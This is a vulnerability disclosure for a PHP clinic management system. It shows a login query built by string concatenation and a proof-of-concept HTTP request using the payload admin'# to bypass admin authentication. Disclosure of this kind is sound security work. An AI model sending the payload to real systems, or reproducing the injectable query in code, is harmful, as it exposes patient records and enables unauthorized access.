Submit #886163: itsourcecode Online Clinic Management System 1.0 SQL Injection

Description:
The admin login uses `htmlspecialchars()` with default `ENT_COMPAT` flag which only escapes double quotes, NOT single quotes. Combined with raw SQL concatenation and MD5 password hashing, this enables SQL injection auth bypass via `admin'#`.

Vulnerable Code:
**File**: `success/login.php`, Lines 17-35
```php
$email = $_POST['username'];
$fpass = $_POST['password'];
// check_input() uses htmlspecialchars(), ENT_COMPAT doesn't escape single quotes
$query = "SELECT * FROM admin WHERE username='$email' AND password=MD5('$fpass')";
$result = mysqli_query($con, $query);
```

Proof of Concept:
```http
POST /success/login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin'#&password=anything
```

Impact:
- Complete admin authentication bypass
- Full access to clinic patient records, prescriptions, equipment data
- Union injection enabled — full database extraction

Reference: https://github.com/microwaveabi/vul/issues/63

• Source: ⚠️ https://github.com/microwaveabi/vul/issues/63
• User: microwave (UID 96185)
• Submission: 07/11/2026 05:18 (1 month ago)
• Moderation: 08/24/2026 07:43 (1 month later)
• Status: Accepted
• VulDB entry: 394596 [itsourcecode Online Clinic Management System 1.0 Admin Login success/login.php Username sql injection]
• Points: 20